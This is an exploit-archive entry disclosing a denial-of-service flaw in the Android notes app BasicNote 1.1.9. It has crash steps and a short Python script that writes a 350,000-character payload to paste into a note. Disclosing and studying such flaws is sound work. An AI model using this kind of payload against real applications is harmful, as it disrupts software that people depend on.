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BasicNote 1.1.9 - Denial of Service (PoC)

Brian Rodriguez

# Exploit Title: BasicNote 1.1.9 - Denial of Service (PoC)
# Date: 2021-06-02
# Author: Brian Rodríguez
# Download Link: https://play.google.com/store/apps/details?id=notizen.basic.notes.notas.note.notepad&hl=es_MX
# Version: 1.1.9
# Category: DoS (Android)

##### Vulnerability #####

BasicNote - Notas, Bloc de notas is vulnerable to a DoS condition when two long lists of characters are being used when creating a note:

# STEPS #
# Open the program
# Create a new Note.
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt twice in the new Note.
# Crashed

Successful exploitation will causes application stop working.

I have been able to test this exploit against Android 8.0.

##### PoC #####

#!/usr/bin/env python
buffer = "\x41" * 350000

try:
    f = open("payload.txt","w")
    f.write(buffer)
    f.close()
    print ("File created")
except:
    print ("File cannot be created")

date: 2021-06-03, platform: dos, type: android